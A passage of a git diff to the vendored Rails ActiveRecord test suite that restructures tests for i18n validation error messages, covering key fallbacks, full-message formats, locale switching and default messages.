-  def test_validates_exclusion_of_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:exclusion => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:exclusion => 'global message'}}}
-
-    Topic.validates_exclusion_of :title, :in => %w(a b c)
-    @topic.title = 'a'
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_exclusion_of_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:exclusion => 'global message'}}}
-
-    Topic.validates_exclusion_of :title, :in => %w(a b c)
-    @topic.title = 'a'
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_numericality_of without :only_integer w/o mocha
-
-  def test_validates_numericality_of_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:not_a_number => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
-
-    Topic.validates_numericality_of :title
-    @topic.title = 'a'
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_numericality_of_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
-
-    Topic.validates_numericality_of :title, :only_integer => true
-    @topic.title = 'a'
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_numericality_of with :only_integer w/o mocha
-
-  def test_validates_numericality_of_only_integer_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:not_a_number => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
-
-    Topic.validates_numericality_of :title, :only_integer => true
-    @topic.title = 'a'
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_numericality_of_only_integer_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:not_a_number => 'global message'}}}
-
-    Topic.validates_numericality_of :title, :only_integer => true
-    @topic.title = 'a'
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_numericality_of :odd w/o mocha
-
-  def test_validates_numericality_of_odd_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:odd => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:odd => 'global message'}}}
-
-    Topic.validates_numericality_of :title, :only_integer => true, :odd => true
-    @topic.title = 0
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_numericality_of_odd_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:odd => 'global message'}}}
-
-    Topic.validates_numericality_of :title, :only_integer => true, :odd => true
-    @topic.title = 0
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-  # validates_numericality_of :less_than w/o mocha
-
-  def test_validates_numericality_of_less_than_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:less_than => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:less_than => 'global message'}}}
-
-    Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
-    @topic.title = 1
-    @topic.valid?
-    assert_equal 'custom message', @topic.errors.on(:title)
-  end
-
-  def test_validates_numericality_of_less_than_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:less_than => 'global message'}}}
-
-    Topic.validates_numericality_of :title, :only_integer => true, :less_than => 0
-    @topic.title = 1
-    @topic.valid?
-    assert_equal 'global message', @topic.errors.on(:title)
-  end
-
-
-  # validates_associated w/o mocha
-
-  def test_validates_associated_finds_custom_model_key_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:replies => {:invalid => 'custom message'}}}}}}
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
-
-    Topic.validates_associated :replies
-    replied_topic.valid?
-    assert_equal 'custom message', replied_topic.errors.on(:replies)
-  end
-
-  def test_validates_associated_finds_global_default_translation
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}}
-
-    Topic.validates_associated :replies
-    replied_topic.valid?
-    assert_equal 'global message', replied_topic.errors.on(:replies)
-  end
-
-  def test_validations_with_message_symbol_must_translate
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:custom_error => "I am a custom error"}}}
-    Topic.validates_presence_of :title, :message => :custom_error
-    @topic.title = nil
-    @topic.valid?
-    assert_equal "I am a custom error", @topic.errors.on(:title)
-  end
-
-  def test_validates_with_message_symbol_must_translate_per_attribute
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:title => {:custom_error => "I am a custom error"}}}}}}
-    Topic.validates_presence_of :title, :message => :custom_error
-    @topic.title = nil
-    @topic.valid?
-    assert_equal "I am a custom error", @topic.errors.on(:title)
-  end
-
-  def test_validates_with_message_symbol_must_translate_per_model
-    I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:custom_error => "I am a custom error"}}}}
-    Topic.validates_presence_of :title, :message => :custom_error
-    @topic.title = nil
-    @topic.valid?
-    assert_equal "I am a custom error", @topic.errors.on(:title)
-  end
-
-  def test_validates_with_message_string
-    Topic.validates_presence_of :title, :message => "I am a custom error"
-    @topic.title = nil
-    @topic.valid?
-    assert_equal "I am a custom error", @topic.errors.on(:title)
-  end
-
 end
 
-class ActiveRecordValidationsGenerateMessageI18nTests < Test::Unit::TestCase
+
+# ACTIVERECORD ERROR
+#
+# * test that it passes given interpolation arguments, the human model name and human attribute name
+# * test that it looks messages up with the the correct keys
+# * test that it looks up the correct default messages
+
+class ActiveRecordErrorI18nTests < ActiveSupport::TestCase
+  include ActiveRecordValidationsI18nTestHelper
+
   def setup
-    reset_callbacks Topic
-    @topic = Topic.new
-    I18n.backend.store_translations :'en', {
-      :activerecord => {
-        :errors => {
-          :messages => {
-            :inclusion => "is not included in the list",
-            :exclusion => "is reserved",
-            :invalid => "is invalid",
-            :confirmation => "doesn't match confirmation",
-            :accepted  => "must be accepted",
-            :empty => "can't be empty",
-            :blank => "can't be blank",
-            :too_long => "is too long (maximum is {{count}} characters)",
-            :too_short => "is too short (minimum is {{count}} characters)",
-            :wrong_length => "is the wrong length (should be {{count}} characters)",
-            :taken => "has already been taken",
-            :not_a_number => "is not a number",
-            :greater_than => "must be greater than {{count}}",
-            :greater_than_or_equal_to => "must be greater than or equal to {{count}}",
-            :equal_to => "must be equal to {{count}}",
-            :less_than => "must be less than {{count}}",
-            :less_than_or_equal_to => "must be less than or equal to {{count}}",
-            :odd => "must be odd",
-            :even => "must be even"
+    @reply = Reply.new
+    @old_backend, I18n.backend = I18n.backend, I18n::Backend::Simple.new
+  end
+
+  def teardown
+    I18n.backend = @old_backend
+    I18n.locale = nil
+  end
+
+  def assert_error_message(message, *args)
+    assert_equal message, ActiveRecord::Error.new(@reply, *args).message
+  end
+
+  def assert_full_message(message, *args)
+    assert_equal message, ActiveRecord::Error.new(@reply, *args).full_message
+  end
+
+  test "#generate_message passes the model attribute value for interpolation" do
+    store_translations(:errors => { :messages => { :foo => "You fooed: {{value}}." } })
+    @reply.title = "da title"
+    assert_error_message 'You fooed: da title.', :title, :foo
+  end
+
+  test "#generate_message passes the human_name of the model for interpolation" do
+    store_translations(
+      :errors => { :messages => { :foo => "You fooed: {{model}}." } },
+      :models => { :topic => 'da topic' }
+    )
+    assert_error_message 'You fooed: da topic.', :title, :foo
+  end
+
+  test "#generate_message passes the human_name of the attribute for interpolation" do
+    store_translations(
+      :errors => { :messages => { :foo => "You fooed: {{attribute}}." } },
+      :attributes => { :topic => { :title => 'da topic title' } }
+    )
+    assert_error_message 'You fooed: da topic title.', :title, :foo
+  end
+
+  # generate_message will look up the key for the error message (e.g. :blank) in these namespaces:
+  #
+  #   activerecord.errors.models.reply.attributes.title
+  #   activerecord.errors.models.reply
+  #   activerecord.errors.models.topic.attributes.title
+  #   activerecord.errors.models.topic
+  #   [default from class level :validates_foo statement if this is a String]
+  #   activerecord.errors.messages
+
+  test "#generate_message key fallbacks (given a String as key)" do
+    store_translations(
+      :errors => {
+        :models => {
+          :reply => {
+            :attributes => { :title => { :custom => 'activerecord.errors.models.reply.attributes.title.custom' } },
+            :custom => 'activerecord.errors.models.reply.custom'
+          },
+          :topic => {
+            :attributes => { :title => { :custom => 'activerecord.errors.models.topic.attributes.title.custom' } },
+            :custom => 'activerecord.errors.models.topic.custom'
           }
+        },
+        :messages => {
+          :custom => 'activerecord.errors.messages.custom',
+          :kaputt => 'activerecord.errors.messages.kaputt'
         }
       }
-    }
+    )
+
+    assert_error_message 'activerecord.errors.models.reply.attributes.title.custom', :title, :kaputt, :message => 'custom'
+    delete_translation  :'activerecord.errors.models.reply.attributes.title.custom'
+
+    assert_error_message 'activerecord.errors.models.reply.custom', :title, :kaputt, :message => 'custom'
+    delete_translation  :'activerecord.errors.models.reply.custom'
+
+    assert_error_message 'activerecord.errors.models.topic.attributes.title.custom', :title, :kaputt, :message => 'custom'
+    delete_translation  :'activerecord.errors.models.topic.attributes.title.custom'
+
+    assert_error_message 'activerecord.errors.models.topic.custom', :title, :kaputt, :message => 'custom'
+    delete_translation  :'activerecord.errors.models.topic.custom'
+
+    assert_error_message 'activerecord.errors.messages.custom', :title, :kaputt, :message => 'custom'
+    delete_translation  :'activerecord.errors.messages.custom'
+
+    # Implementing this would clash with the AR default behaviour of using validates_foo :message => 'foo'
+    # as an untranslated string. I.e. at this point we can either fall back to the given string from the
+    # class-level macro (validates_*) or fall back to the default message for this validation type.
+    # assert_error_message 'activerecord.errors.messages.kaputt', :title, :kaputt, :message => 'custom'
+
+    assert_error_message 'custom', :title, :kaputt, :message => 'custom'
   end
 
-  def reset_callbacks(*models)
-    models.each do |model|
-      model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-      model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+  test "#generate_message key fallbacks (given a Symbol as key)" do
+    store_translations(
+      :errors => {
+        :models => {
+          :reply => {
+            :attributes => { :title => { :kaputt => 'activerecord.errors.models.reply.attributes.title.kaputt' } },
+            :kaputt => 'activerecord.errors.models.reply.kaputt'
+          },
+          :topic => {
+            :attributes => { :title => { :kaputt => 'activerecord.errors.models.topic.attributes.title.kaputt' } },
+            :kaputt => 'activerecord.errors.models.topic.kaputt'
+          }
+        },
+        :messages => {
+          :kaputt => 'activerecord.errors.messages.kaputt'
+        }
+      }
+    )
+
+    assert_error_message 'activerecord.errors.models.reply.attributes.title.kaputt', :title, :kaputt
+    delete_translation  :'activerecord.errors.models.reply.attributes.title.kaputt'
+
+    assert_error_message 'activerecord.errors.models.reply.kaputt', :title, :kaputt
+    delete_translation  :'activerecord.errors.models.reply.kaputt'
+
+    assert_error_message 'activerecord.errors.models.topic.attributes.title.kaputt', :title, :kaputt
+    delete_translation  :'activerecord.errors.models.topic.attributes.title.kaputt'
+
+    assert_error_message 'activerecord.errors.models.topic.kaputt', :title, :kaputt
+    delete_translation  :'activerecord.errors.models.topic.kaputt'
+
+    assert_error_message 'activerecord.errors.messages.kaputt', :title, :kaputt
+  end
+
+  # full_messages
+
+  test "#full_message with no format present" do
+    store_translations(:errors => { :messages => { :kaputt => 'is kaputt' } })
+    assert_full_message 'Title is kaputt', :title, :kaputt
+  end
+
+  test "#full_message with a format present" do
+    store_translations(:errors => { :messages => { :kaputt => 'is kaputt' }, :full_messages => { :format => '{{attribute}}: {{message}}' } })
+    assert_full_message 'Title: is kaputt', :title, :kaputt
+  end
+
+  test "#full_message with a type specific format present" do
+    store_translations(:errors => { :messages => { :kaputt => 'is kaputt' }, :full_messages => { :kaputt => '{{attribute}} {{message}}!' } })
+    assert_full_message 'Title is kaputt!', :title, :kaputt
+  end
+
+  test "#full_message with class-level specified custom message" do
+    store_translations(:errors => { :messages => { :broken => 'is kaputt' }, :full_messages => { :broken => '{{attribute}} {{message}}?!' } })
+    assert_full_message 'Title is kaputt?!', :title, :kaputt, :message => :broken
+  end
+
+  test "#full_message with different scope" do
+    store_translations(:my_errors => { :messages => { :kaputt => 'is kaputt' } })
+    assert_full_message 'Title is kaputt', :title, :kaputt, :scope => [:activerecord, :my_errors]
+
+    store_translations(:my_errors => { :full_messages => { :kaputt => '{{attribute}} {{message}}!' } })
+    assert_full_message 'Title is kaputt!', :title, :kaputt, :scope => [:activerecord, :my_errors]
+  end
+
+  # switch locales
+
+  test "#message allows to switch locales" do
+    store_translations(:en, :errors => { :messages => { :kaputt => 'is kaputt' } })
+    store_translations(:de, :errors => { :messages => { :kaputt => 'ist kaputt' } })
+
+    assert_error_message 'is kaputt', :title, :kaputt
+    I18n.locale = :de
+    assert_error_message 'ist kaputt', :title, :kaputt
+    I18n.locale = :en
+    assert_error_message 'is kaputt', :title, :kaputt
+  end
+
+  test "#full_message allows to switch locales" do
+    store_translations(:en, :errors => { :messages => { :kaputt => 'is kaputt' } }, :attributes => { :topic => { :title => 'The title' } })
+    store_translations(:de, :errors => { :messages => { :kaputt => 'ist kaputt' } }, :attributes => { :topic => { :title => 'Der Titel' } })
+
+    assert_full_message 'The title is kaputt', :title, :kaputt
+    I18n.locale = :de
+    assert_full_message 'Der Titel ist kaputt', :title, :kaputt
+    I18n.locale = :en
+    assert_full_message 'The title is kaputt', :title, :kaputt
+  end
+end
+
+# ACTIVERECORD DEFAULT ERROR MESSAGES
+#
+# * test that Error generates the default error messages
+
+class ActiveRecordDefaultErrorMessagesI18nTests < ActiveSupport::TestCase
+  def assert_default_error_message(message, *args)
+    assert_equal message, error_message(*args)
+  end
+
+  def error_message(*args)
+    ActiveRecord::Error.new(Topic.new, :title, *args).message
+  end
+
+  # used by: validates_inclusion_of
+  test "default error message: inclusion" do
+    assert_default_error_message 'is not included in the list', :inclusion, :value => 'title'
+  end
+
+  # used by: validates_exclusion_of
+  test "default error message: exclusion" do
+    assert_default_error_message 'is reserved', :exclusion, :value => 'title'
+  end
+
+  # used by: validates_associated and validates_format_of
+  test "default error message: invalid" do
+    assert_default_error_message 'is invalid', :invalid, :value => 'title'
+  end
+
+  # used by: validates_confirmation_of
+  test "default error message: confirmation" do
+    assert_default_error_message "doesn't match confirmation", :confirmation, :default => nil
+  end
+
+  # used by: validates_acceptance_of
+  test "default error message: accepted" do
+    assert_default_error_message "must be accepted", :accepted
+  end
+
+  # used by: add_on_empty
+  test "default error message: empty" do
+    assert_default_error_message "can't be empty", :empty
+  end
+
+  # used by: add_on_blank
+  test "default error message: blank" do
+    assert_default_error_message "can't be blank", :blank
+  end
+
+  # used by: validates_length_of
+  test "default error message: too_long" do
+    assert_default_error_message "is too long (maximum is 10 characters)", :too_long, :count => 10
+  end
+
+  # used by: validates_length_of
+  test "default error message: too_short" do
+    assert_default_error_message "is too short (minimum is 10 characters)", :too_short, :count => 10
+  end
+
+  # used by: validates_length_of
+  test "default error message: wrong_length" do
+    assert_default_error_message "is the wrong length (should be 10 characters)", :wrong_length, :count => 10
+  end
+
+  # used by: validates_uniqueness_of
+  test "default error message: taken" do
+    assert_default_error_message "has already been taken", :taken, :value => 'title'
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: not_a_number" do
+    assert_default_error_message "is not a number", :not_a_number, :value => 'title'
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: greater_than" do
+    assert_default_error_message "must be greater than 10", :greater_than, :value => 'title', :count => 10
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: greater_than_or_equal_to" do
+    assert_default_error_message "must be greater than or equal to 10", :greater_than_or_equal_to, :value => 'title', :count => 10
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: equal_to" do
+    assert_default_error_message "must be equal to 10", :equal_to, :value => 'title', :count => 10
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: less_than" do
+    assert_default_error_message "must be less than 10", :less_than, :value => 'title', :count => 10
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: less_than_or_equal_to" do
+    assert_default_error_message "must be less than or equal to 10", :less_than_or_equal_to, :value => 'title', :count => 10
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: odd" do
+    assert_default_error_message "must be odd", :odd, :value => 'title', :count => 10
+  end
+
+  # used by: validates_numericality_of
+  test "default error message: even" do
+    assert_default_error_message "must be even", :even, :value => 'title', :count => 10
+  end
+
+  test "custom message string interpolation" do
+    assert_equal 'custom message title', error_message(:invalid, :default => 'custom message {{value}}', :value => 'title')
+  end
+end
+
+# ACTIVERECORD VALIDATION ERROR MESSAGES - FULL STACK
+#
+# * test a few combinations full stack to ensure the tests above are correct
+
+class I18nPerson < Person
+end
+
+class ActiveRecordValidationsI18nFullStackTests < ActiveSupport::TestCase
+  include ActiveRecordValidationsI18nTestHelper
+
+  def setup
+    reset_callbacks(I18nPerson)
+    @old_backend, I18n.backend = I18n.backend, I18n::Backend::Simple.new
+    @person = I18nPerson.new
+  end
+
+  def teardown
+    reset_callbacks(I18nPerson)
+    I18n.backend = @old_backend
+  end
+
+  def assert_name_invalid(message)
+    yield
+    @person.valid?
+    assert_equal message, @person.errors.on(:name)
+  end
+
+  # Symbols as class-level validation messages
+
+  test "Symbol as class level validation message translated per attribute (translation on child class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:i18n_person => {:attributes => {:name => {:broken => "is broken"}}}}}
+      I18nPerson.validates_presence_of :name, :message => :broken
     end
   end
 
-  # validates_inclusion_of: generate_message(attr_name, :inclusion, :default => configuration[:message], :value => value)
-  def test_generate_message_inclusion_with_default_message
-    assert_equal 'is not included in the list', @topic.errors.generate_message(:title, :inclusion, :default => nil, :value => 'title')
+  test "Symbol as class level validation message translated per attribute (translation on base class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:person => {:attributes => {:name => {:broken => "is broken"}}}}}
+      I18nPerson.validates_presence_of :name, :message => :broken
+    end
   end
 
-  def test_generate_message_inclusion_with_custom_message
-    assert_equal 'custom message title', @topic.errors.generate_message(:title, :inclusion, :default => 'custom message {{value}}', :value => 'title')
+  test "Symbol as class level validation message translated per model (translation on child class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:i18n_person => {:broken => "is broken"}}}
+      I18nPerson.validates_presence_of :name, :message => :broken
+    end
   end
 
-  # validates_exclusion_of: generate_message(attr_name, :exclusion, :default => configuration[:message], :value => value)
-  def test_generate_message_exclusion_with_default_message
-    assert_equal 'is reserved', @topic.errors.generate_message(:title, :exclusion, :default => nil, :value => 'title')
+  test "Symbol as class level validation message translated per model (translation on base class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:person => {:broken => "is broken"}}}
+      I18nPerson.validates_presence_of :name, :message => :broken
+    end
   end
 
-  def test_generate_message_exclusion_with_custom_message
-    assert_equal 'custom message title', @topic.errors.generate_message(:title, :exclusion, :default => 'custom message {{value}}', :value => 'title')
+  test "Symbol as class level validation message translated as error message" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:messages => {:broken => "is broken"}}
+      I18nPerson.validates_presence_of :name, :message => :broken
+    end
   end
 
-  # validates_associated: generate_message(attr_name, :invalid, :default => configuration[:message], :value => value)
-  # validates_format_of:  generate_message(attr_name, :invalid, :default => configuration[:message], :value => value)
-  def test_generate_message_invalid_with_default_message
-    assert_equal 'is invalid', @topic.errors.generate_message(:title, :invalid, :default => nil, :value => 'title')
+  # Strings as class-level validation messages
+
+  test "String as class level validation message translated per attribute (translation on child class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:i18n_person => {:attributes => {:name => {"is broken" => "is broken"}}}}}
+      I18nPerson.validates_presence_of :name, :message => "is broken"
+    end
   end
 
-  def test_generate_message_invalid_with_custom_message
-    assert_equal 'custom message title', @topic.errors.generate_message(:title, :invalid, :default => 'custom message {{value}}', :value => 'title')
+  test "String as class level validation message translated per attribute (translation on base class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:person => {:attributes => {:name => {"is broken" => "is broken"}}}}}
+      I18nPerson.validates_presence_of :name, :message => "is broken"
+    end
   end
 
-  # validates_confirmation_of: generate_message(attr_name, :confirmation, :default => configuration[:message])
-  def test_generate_message_confirmation_with_default_message
-    assert_equal "doesn't match confirmation", @topic.errors.generate_message(:title, :confirmation, :default => nil)
+  test "String as class level validation message translated per model (translation on child class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:i18n_person => {"is broken" => "is broken"}}}
+      I18nPerson.validates_presence_of :name, :message => "is broken"
+    end
   end
 
-  def test_generate_message_confirmation_with_custom_message
-    assert_equal 'custom message', @topic.errors.generate_message(:title, :confirmation, :default => 'custom message')
+  test "String as class level validation message translated per model (translation on base class)" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:models => {:person => {"is broken" => "is broken"}}}
+      I18nPerson.validates_presence_of :name, :message => "is broken"
+    end
   end
 
-  # validates_acceptance_of: generate_message(attr_name, :accepted, :default => configuration[:message])
-  def test_generate_message_accepted_with_default_message
-    assert_equal "must be accepted", @topic.errors.generate_message(:title, :accepted, :default => nil)
+  test "String as class level validation message translated as error message" do
+    assert_name_invalid("is broken") do
+      store_translations :errors => {:messages => {"is broken" => "is broken"}}
+      I18nPerson.validates_presence_of :name, :message => "is broken"
+    end
   end
 
-  def test_generate_message_accepted_with_custom_message
-    assert_equal 'custom message', @topic.errors.generate_message(:title, :accepted, :default => 'custom message')
+  test "String as class level validation message not translated (uses message as default)" do
+    assert_name_invalid("is broken!") do
+      I18nPerson.validates_presence_of :name, :message => "is broken!"
+    end
+  end
+end
+
+class ActiveRecordValidationsI18nFullMessagesFullStackTests < ActiveSupport::TestCase
+  include ActiveRecordValidationsI18nTestHelper
+
+  def setup
+    reset_callbacks(I18nPerson)
+    @old_backend, I18n.backend = I18n.backend, I18n::Backend::Simple.new
+    @person = I18nPerson.new
+  end
+
+  def teardown
+    reset_callbacks(I18nPerson)
+    I18n.backend = @old_backend
+  end
+
+  def assert_full_message(message)
+    yield
+    @person.valid?
+    assert_equal message, @person.errors.full_messages.join
+  end
+
+  test "full_message format stored per custom error message key" do
+    assert_full_message("Name is broken!") do
+      store_translations :errors => { :messages => { :broken => 'is broken' }, :full_messages => { :broken => '{{attribute}} {{message}}!' } }
+      I18nPerson.validates_presence_of :name, :message => :broken
+    end
+  end
+
+  test "full_message format stored per error type" do
+    assert_full_message("Name can't be blank!") do
+      store_translations :errors => { :full_messages => { :blank => '{{attribute}} {{message}}!' } }
+      I18nPerson.validates_presence_of :name
+    end
+  end
+  # ActiveRecord#RecordInvalid exception
+
+  test "full_message format stored as default" do
+    assert_full_message("Name: can't be blank") do
+      store_translations :errors => { :full_messages => { :format => '{{attribute}}: {{message}}' } }
+      I18nPerson.validates_presence_of :name
+    end
+  end
+  test "RecordInvalid exception can be localized" do
+    topic = Topic.new
+    topic.errors.add(:title, :invalid)
+    topic.errors.add(:title, :blank)
+    assert_equal "Validation failed: Title is invalid, Title can't be blank", ActiveRecord::RecordInvalid.new(topic).message
   end
-
-  # add_on_empty: generate_message(attr, :empty, :default => custom_message)
-  def test_generate_message_empty_with_default_message
-    assert_equal "can't be empty", @topic.errors.generate_message(:title, :empty, :default => nil)
-  end
-
-  def test_generate_message_empty_with_custom_message
-    assert_equal 'custom message', @topic.errors.generate_message(:title, :empty, :default => 'custom message')
-  end
-
-  # add_on_blank: generate_message(attr, :blank, :default => custom_message)
-  def test_generate_message_blank_with_default_message
-    assert_equal "can't be blank", @topic.errors.generate_message(:title, :blank, :default => nil)
-  end
-
-  def test_generate_message_blank_with_custom_message
-    assert_equal 'custom message', @topic.errors.generate_message(:title, :blank, :default => 'custom message')
-  end
-
-  # validates_length_of: generate_message(attr, :too_long, :default => options[:too_long], :count => option_value.end)
-  def test_generate_message_too_long_with_default_message
-    assert_equal "is too long (maximum is 10 characters)", @topic.errors.generate_message(:title, :too_long, :default => nil, :count => 10)
-  end
-
-  def test_generate_message_too_long_with_custom_message
-    assert_equal 'custom message 10', @topic.errors.generate_message(:title, :too_long, :default => 'custom message {{count}}', :count => 10)
-  end
-
-  # validates_length_of: generate_message(attr, :too_short, :default => options[:too_short], :count => option_value.begin)
-  def test_generate_message_too_short_with_default_message
-    assert_equal "is too short (minimum is 10 characters)", @topic.errors.generate_message(:title, :too_short, :default => nil, :count => 10)
-  end
-
-  def test_generate_message_too_short_with_custom_message
-    assert_equal 'custom message 10', @topic.errors.generate_message(:title, :too_short, :default => 'custom message {{count}}', :count => 10)
-  end
-
-  # validates_length_of: generate_message(attr, key, :default => custom_message, :count => option_value)
-  def test_generate_message_wrong_length_with_default_message
-    assert_equal "is the wrong length (should be 10 characters)", @topic.errors.generate_message(:title, :wrong_length, :default => nil, :count => 10)
-  end
-
-  def test_generate_message_wrong_length_with_custom_message
-    assert_equal 'custom message 10', @topic.errors.generate_message(:title, :wrong_length, :default => 'custom message {{count}}', :count => 10)
-  end
-
-  # validates_uniqueness_of: generate_message(attr_name, :taken, :default => configuration[:message])
-  def test_generate_message_taken_with_default_message
-    assert_equal "has already been taken", @topic.errors.generate_message(:title, :taken, :default => nil, :value => 'title')
-  end
-
-  def test_generate_message_taken_with_custom_message
-    assert_equal 'custom message title', @topic.errors.generate_message(:title, :taken, :default => 'custom message {{value}}', :value => 'title')
-  end
-
-  # validates_numericality_of: generate_message(attr_name, :not_a_number, :value => raw_value, :default => configuration[:message])
-  def test_generate_message_not_a_number_with_default_message
-    assert_equal "is not a number", @topic.errors.generate_message(:title, :not_a_number, :default => nil, :value => 'title')
-  end
-
-  def test_generate_message_not_a_number_with_custom_message
-    assert_equal 'custom message title', @topic.errors.generate_message(:title, :not_a_number, :default => 'custom message {{value}}', :value => 'title')
-  end
-
-  # validates_numericality_of: generate_message(attr_name, option, :value => raw_value, :default => configuration[:message])
-  def test_generate_message_greater_than_with_default_message
-    assert_equal "must be greater than 10", @topic.errors.generate_message(:title, :greater_than, :default => nil, :value => 'title', :count => 10)
-  end
-
-  def test_generate_message_greater_than_or_equal_to_with_default_message
-    assert_equal "must be greater than or equal to 10", @topic.errors.generate_message(:title, :greater_than_or_equal_to, :default => nil, :value => 'title', :count => 10)
-  end
-
-  def test_generate_message_equal_to_with_default_message
-    assert_equal "must be equal to 10", @topic.errors.generate_message(:title, :equal_to, :default => nil, :value => 'title', :count => 10)
-  end
-
-  def test_generate_message_less_than_with_default_message
-    assert_equal "must be less than 10", @topic.errors.generate_message(:title, :less_than, :default => nil, :value => 'title', :count => 10)
-  end
-
-  def test_generate_message_less_than_or_equal_to_with_default_message
-    assert_equal "must be less than or equal to 10", @topic.errors.generate_message(:title, :less_than_or_equal_to, :default => nil, :value => 'title', :count => 10)
-  end
-
-  def test_generate_message_odd_with_default_message
-    assert_equal "must be odd", @topic.errors.generate_message(:title, :odd, :default => nil, :value => 'title', :count => 10)
-  end
-
-  def test_generate_message_even_with_default_message
-    assert_equal "must be even", @topic.errors.generate_message(:title, :even, :default => nil, :value => 'title', :count => 10)
-  end
-
 end
diff --git a/vendor/rails/activerecord/test/cases/validations_test.rb b/vendor/rails/activerecord/test/cases/validations_test.rb
index c0496593..00d915da 100644
--- a/vendor/rails/activerecord/test/cases/validations_test.rb
+++ b/vendor/rails/activerecord/test/cases/validations_test.rb
@@ -6,6 +6,9 @@ require 'models/person'
 require 'models/developer'
 require 'models/warehouse_thing'
 require 'models/guid'
+require 'models/owner'
+require 'models/pet'
+require 'models/event'
 
 # The following methods in Topic are used in test_conditional_validation_*
 class Topic
@@ -25,16 +28,18 @@ class ProtectedPerson < ActiveRecord::Base
   set_table_name 'people'
   attr_accessor :addon
   attr_protected :first_name
+
+  def special_error
+    this_method_does_not_exist!
+  rescue
+    errors.add(:special_error, "This method does not exist")
+  end
 end
 
 class UniqueReply < Reply
   validates_uniqueness_of :content, :scope => 'parent_id'
 end
 
-class PlagiarizedReply < Reply
-  validates_acceptance_of :author_name
-end
-
 class SillyUniqueReply < UniqueReply
 end
 
@@ -58,11 +63,9 @@ end
 class ValidationsTest < ActiveRecord::TestCase
   fixtures :topics, :developers, 'warehouse-things'
 
-  def setup
-    Topic.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    Topic.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-    Topic.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
-  end
+  # Most of the tests mess with the validations of Topic, so lets repair it all the time.
+  # Other classes we mess with will be dealt with in the specific tests
+  repair_validations(Topic)
 
   def test_single_field_validation
     r = Reply.new
@@ -117,8 +120,8 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
   def test_invalid_record_exception
-    assert_raises(ActiveRecord::RecordInvalid) { Reply.create! }
-    assert_raises(ActiveRecord::RecordInvalid) { Reply.new.save! }
+    assert_raise(ActiveRecord::RecordInvalid) { Reply.create! }
+    assert_raise(ActiveRecord::RecordInvalid) { Reply.new.save! }
 
     begin
       r = Reply.new
@@ -130,21 +133,21 @@ class ValidationsTest < ActiveRecord::TestCase
   end
 
